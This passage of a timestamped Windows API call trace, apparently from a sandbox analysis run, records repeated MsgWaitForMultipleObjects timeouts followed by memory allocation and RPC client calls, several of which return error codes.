(nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0167.712] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0167.881] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0168.704] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0168.964] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0169.198] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0169.627] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0170.291] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0170.505] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0170.683] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0171.115] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0172.426] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0172.684] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0173.092] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0173.377] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0173.596] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0174.232] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0174.574] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0174.962] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0175.121] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0175.461] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0175.633] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0175.882] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0176.039] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0176.869] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0177.145] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0177.349] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0177.537] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0177.886] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0178.070] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0178.222] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0178.396] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0178.586] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0178.762] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0178.925] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0179.240] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0179.433] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0179.627] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0179.954] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0180.129] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0180.285] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0180.502] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0181.484] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0181.725] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0181.981] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0182.308] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0182.507] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0182.720] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0182.906] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0183.120] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0183.469] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0183.637] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0185.039] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0185.228] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0185.416] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0185.572] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0185.802] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0185.966] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0186.179] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0186.397] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0186.708] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0187.848] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0188.097] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0188.458] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0188.732] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0188.945] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0189.641] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0189.854] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0190.068] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0190.298] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0191.063] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0194.113] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0196.654] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0197.385] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0198.930] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0199.387] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0200.196] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0200.546] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0200.702] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0201.054] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0201.242] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0201.897] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0202.186] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0202.423] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0202.594] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0203.398] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0203.889] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0204.257] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0204.639] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0204.656] CoTaskMemAlloc (cb=0x34) returned 0x3c07b0 [0204.656] memcpy (in: _Dst=0x3c07b0, _Src=0x335b40, _Size=0x34 | out: _Dst=0x3c07b0) returned 0x3c07b0 [0204.656] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0204.673] CoTaskMemFree (pv=0x3c07b0) [0204.673] SetEvent (hEvent=0x174) returned 1 [0204.673] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0204.691] CoTaskMemAlloc (cb=0x4) returned 0x3840e0 [0204.691] memcpy (in: _Dst=0x3840e0, _Src=0x335b40, _Size=0x4 | out: _Dst=0x3840e0) returned 0x3840e0 [0204.692] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0204.692] CoTaskMemFree (pv=0x3840e0) [0204.692] SetEvent (hEvent=0x174) returned 1 [0204.692] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0204.884] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0204.891] CoTaskMemAlloc (cb=0x9c) returned 0x37f1c0 [0204.891] memcpy (in: _Dst=0x37f1c0, _Src=0x335b40, _Size=0x9c | out: _Dst=0x37f1c0) returned 0x37f1c0 [0204.891] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0204.893] CoTaskMemFree (pv=0x37f1c0) [0204.893] SetEvent (hEvent=0x174) returned 1 [0204.893] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0204.915] CoTaskMemAlloc (cb=0x10c) returned 0x2129470 [0204.915] memcpy (in: _Dst=0x2129470, _Src=0x335b40, _Size=0x10c | out: _Dst=0x2129470) returned 0x2129470 [0204.915] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706be [0209.577] CoTaskMemFree (pv=0x2129470) [0209.577] SetEvent (hEvent=0x174) returned 1 [0209.578] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0210.288] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.289] CoTaskMemAlloc (cb=0x48) returned 0x372290 [0210.289] memcpy (in: _Dst=0x372290, _Src=0x335f60, _Size=0x48 | out: _Dst=0x372290) returned 0x372290 [0210.289] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.290] CoTaskMemFree (pv=0x372290) [0210.290] SetEvent (hEvent=0x174) returned 1 [0210.311] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.360] CoTaskMemAlloc (cb=0x37) returned 0x2af3010 [0210.360] memcpy (in: _Dst=0x2af3010, _Src=0x335f60, _Size=0x37 | out: _Dst=0x2af3010) returned 0x2af3010 [0210.360] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.361] CoTaskMemFree (pv=0x2af3010) [0210.361] SetEvent (hEvent=0x174) returned 1 [0210.361] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.374] CoTaskMemAlloc (cb=0x37) returned 0x2af2fd0 [0210.374] memcpy (in: _Dst=0x2af2fd0, _Src=0x335f60, _Size=0x37 | out: _Dst=0x2af2fd0) returned 0x2af2fd0 [0210.374] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.374] CoTaskMemFree (pv=0x2af2fd0) [0210.374] SetEvent (hEvent=0x174) returned 1 [0210.374] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.379] CoTaskMemAlloc (cb=0x3d) returned 0x3726f0 [0210.380] memcpy (in: _Dst=0x3726f0, _Src=0x335f60, _Size=0x3d | out: _Dst=0x3726f0) returned 0x3726f0 [0210.380] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.380] CoTaskMemFree (pv=0x3726f0) [0210.380] SetEvent (hEvent=0x174) returned 1 [0210.380] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.382] CoTaskMemAlloc (cb=0x79) returned 0x3d7690 [0210.382] memcpy (in: _Dst=0x3d7690, _Src=0x335f60, _Size=0x79 | out: _Dst=0x3d7690) returned 0x3d7690 [0210.382] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.382] CoTaskMemFree (pv=0x3d7690) [0210.382] SetEvent (hEvent=0x174) returned 1 [0210.382] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.385] CoTaskMemAlloc (cb=0x42) returned 0x3724c0 [0210.385] memcpy (in: _Dst=0x3724c0, _Src=0x335f60, _Size=0x42 | out: _Dst=0x3724c0) returned 0x3724c0 [0210.385] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.386] CoTaskMemFree (pv=0x3724c0) [0210.386] SetEvent (hEvent=0x174) returned 1 [0210.386] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.386] CoTaskMemAlloc (cb=0x1c) returned 0x3c2480 [0210.386] memcpy (in: _Dst=0x3c2480, _Src=0x335f60, _Size=0x1c | out: _Dst=0x3c2480) returned 0x3c2480 [0210.387] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.387] CoTaskMemFree (pv=0x3c2480) [0210.387] SetEvent (hEvent=0x174) returned 1 [0210.387] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.388] CoTaskMemAlloc (cb=0x2c) returned 0x3c0e70 [0210.388] memcpy (in: _Dst=0x3c0e70, _Src=0x335f60, _Size=0x2c | out: _Dst=0x3c0e70) returned 0x3c0e70 [0210.388] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.393] CoTaskMemFree (pv=0x3c0e70) [0210.393] SetEvent (hEvent=0x174) returned 1 [0210.393] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.457] CoTaskMemAlloc (cb=0x1c) returned 0x3c2480 [0210.457] memcpy (in: _Dst=0x3c2480, _Src=0x335f60, _Size=0x1c | out: _Dst=0x3c2480) returned 0x3c2480 [0210.457] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.457] CoTaskMemFree (pv=0x3c2480) [0210.457] SetEvent (hEvent=0x174) returned 1 [0210.458] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.460] CoTaskMemAlloc (cb=0x1c) returned 0x3c2480 [0210.460] memcpy (in: _Dst=0x3c2480, _Src=0x335f60, _Size=0x1c | out: _Dst=0x3c2480) returned 0x3c2480 [0210.460] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.460] CoTaskMemFree (pv=0x3c2480) [0210.460] SetEvent (hEvent=0x174) returned 1 [0210.461] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.466] CoTaskMemAlloc (cb=0x2c) returned 0x3c1130 [0210.466] memcpy (in: _Dst=0x3c1130, _Src=0x335f60, _Size=0x2c | out: _Dst=0x3c1130) returned 0x3c1130 [0210.466] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.466] CoTaskMemFree (pv=0x3c1130) [0210.466] SetEvent (hEvent=0x174) returned 1 [0210.466] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.470] CoTaskMemAlloc (cb=0x1c) returned 0x3c24e0 [0210.470] memcpy (in: _Dst=0x3c24e0, _Src=0x335f60, _Size=0x1c | out: _Dst=0x3c24e0) returned 0x3c24e0 [0210.470] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.471] CoTaskMemFree (pv=0x3c24e0) [0210.471] SetEvent (hEvent=0x174) returned 1 [0210.471] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.473] CoTaskMemAlloc (cb=0x36) returned 0x3c1130 [0210.473] memcpy (in: _Dst=0x3c1130, _Src=0x335f60, _Size=0x36 | out: _Dst=0x3c1130) returned 0x3c1130 [0210.473] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.473] CoTaskMemFree (pv=0x3c1130) [0210.473] SetEvent (hEvent=0x174) returned 1 [0210.473] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.474] CoTaskMemAlloc (cb=0x1c) returned 0x3c24e0 [0210.474] memcpy (in: _Dst=0x3c24e0, _Src=0x335f60, _Size=0x1c | out: _Dst=0x3c24e0) returned 0x3c24e0 [0210.474] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.474] CoTaskMemFree (pv=0x3c24e0) [0210.474] SetEvent (hEvent=0x174) returned 1 [0210.474] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.476] CoTaskMemAlloc (cb=0x1c) returned 0x3c24e0 [0210.476] memcpy (in: _Dst=0x3c24e0, _Src=0x335f60, _Size=0x1c | out: _Dst=0x3c24e0) returned 0x3c24e0 [0210.476] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.476] CoTaskMemFree (pv=0x3c24e0) [0210.476] SetEvent (hEvent=0x174) returned 1 [0210.476] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.538] CoTaskMemAlloc (cb=0x37) returned 0x3c0270 [0210.538] memcpy (in: _Dst=0x3c0270, _Src=0x335f60, _Size=0x37 | out: _Dst=0x3c0270) returned 0x3c0270 [0210.538] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.539] CoTaskMemFree (pv=0x3c0270) [0210.539] SetEvent (hEvent=0x174) returned 1 [0210.539] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.545] CoTaskMemAlloc (cb=0x78) returned 0x34b6b0 [0210.545] memcpy (in: _Dst=0x34b6b0, _Src=0x335f60, _Size=0x78 | out: _Dst=0x34b6b0) returned 0x34b6b0 [0210.545] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba 